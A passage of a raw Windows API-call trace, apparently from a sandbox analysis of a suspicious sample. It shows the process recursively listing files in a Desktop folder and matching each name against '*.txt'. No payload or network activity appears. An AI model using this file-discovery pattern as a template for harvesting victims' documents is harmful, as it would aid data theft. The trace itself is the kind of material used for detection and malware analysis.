returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.231] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.231] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4f) returned 0x33400d0 [0146.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x33400d0, cbMultiByte=79, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", lpUsedDefaultChar=0x0) returned 79 [0146.232] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0146.232] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.232] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.232] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.232] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.232] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*.txt") returned 0 [0146.232] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.232] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ad320, ftCreationTime.dwHighDateTime=0x1d7aac2, ftLastAccessTime.dwLowDateTime=0xe24a4030, ftLastAccessTime.dwHighDateTime=0x1d7aecb, ftLastWriteTime.dwLowDateTime=0xe24a4030, ftLastWriteTime.dwHighDateTime=0x1d7aecb, nFileSizeHigh=0x0, nFileSizeLow=0x6d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nd1SYQH.wav", cAlternateFileName="")) returned 1 [0146.232] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.232] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.232] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.232] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.232] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.232] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.232] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0146.233] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x33400d0 [0146.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x33400d0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", lpUsedDefaultChar=0x0) returned 71 [0146.233] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0146.233] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.233] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.233] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.233] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.233] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*.txt") returned 0 [0146.233] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.233] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 1 [0146.233] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.233] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.233] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.233] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.233] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.233] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.233] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0146.233] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x48) returned 0x33400d0 [0146.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x33400d0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", lpUsedDefaultChar=0x0) returned 72 [0146.234] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.234] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.234] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*.txt") returned 0 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.234] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 0 [0146.234] FindClose (in: hFindFile=0x882830 | out: hFindFile=0x882830) returned 1 [0146.234] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604e8 [0146.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0146.234] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3b) returned 0x33400d0 [0146.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x33400d0, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpUsedDefaultChar=0x0) returned 59 [0146.234] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x23611c0 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.234] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.234] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*.txt") returned 0 [0146.234] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.234] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b2d460, ftCreationTime.dwHighDateTime=0x1d7a77b, ftLastAccessTime.dwLowDateTime=0x6b8dc8d0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0x6b8dc8d0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x12280, dwReserved0=0x0, dwReserved1=0x0, cFileName="6_Lz6Ex2GE8X0H7LSYpm.doc", cAlternateFileName="6_LZ6E~1.DOC")) returned 1 [0146.235] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.235] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.235] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.235] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.235] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.235] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.235] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0146.235] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4c) returned 0x2362938 [0146.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x2362938, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", lpUsedDefaultChar=0x0) returned 76 [0146.235] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23627d8 [0146.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362938 | out: hHeap=0x2360000) returned 1 [0146.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.235] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.235] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*.txt") returned 0 [0146.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23627d8 | out: hHeap=0x2360000) returned 1 [0146.235] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0cea770, ftCreationTime.dwHighDateTime=0x1d7a491, ftLastAccessTime.dwLowDateTime=0x2fd030a0, ftLastAccessTime.dwHighDateTime=0x1d7a4e8, ftLastWriteTime.dwLowDateTime=0x2fd030a0, ftLastWriteTime.dwHighDateTime=0x1d7a4e8, nFileSizeHigh=0x0, nFileSizeLow=0x113ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="i33RqOxAVJq9dL.mkv", cAlternateFileName="I33RQO~1.MKV")) returned 1 [0146.235] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.235] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.235] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.237] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.237] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.237] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.237] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.237] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", lpUsedDefaultChar=0x0) returned 70 [0146.237] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362938 [0146.237] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.237] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.238] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.238] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.238] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*.txt") returned 0 [0146.238] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362938 | out: hHeap=0x2360000) returned 1 [0146.238] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mhr9", cAlternateFileName="")) returned 1 [0146.238] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.238] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.238] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.238] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.238] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.238] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.238] lstrcmpW (lpString1="Mhr9", lpString2=".") returned 1 [0146.238] lstrcmpW (lpString1="Mhr9", lpString2="..") returned 1 [0146.238] lstrcpyW (in: lpString1=0x19c02c, 